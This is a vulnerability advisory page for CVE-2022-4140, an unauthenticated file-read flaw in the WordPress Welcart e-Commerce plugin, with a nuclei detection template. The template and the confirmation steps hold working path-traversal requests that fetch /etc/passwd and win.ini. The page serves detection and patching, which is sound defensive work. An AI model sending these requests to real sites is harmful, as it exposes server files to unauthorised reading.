HexBrain

Browse / CVEs / CVE-2022-4140

CVE-2022-4140· collne / welcart e-commerce· CWE-552

WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access

highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can access sensitive files on the server, potentially exposing sensitive information.

Fix

Fixed in version 2.8.5.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd ; GET {{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini
Positive when: contains in header "text/html" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-4140 -u <target>

The full check
id: CVE-2022-4140

info:
  name: WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access
  author: theamanrawat
  severity: high
  description: |
    WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can access sensitive files on the server, potentially exposing sensitive information.
  remediation: Fixed in version 2.8.5.
  reference:
    - https://wpscan.com/vulnerability/0d649a7e-3334-48f7-abca-fff0856e12c7
    - https://wordpress.org/plugins/usc-e-shop/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-4140
    cwe-id: CWE-552
    epss-score: 0.03175
    epss-percentile: 0.8815
    cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: collne
    product: welcart_e-commerce
    framework: wordpress
  tags: cve,cve2022,usc-e-shop,wpscan,wp-plugin,wp,wordpress,lfi,unauthenticated,collne,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from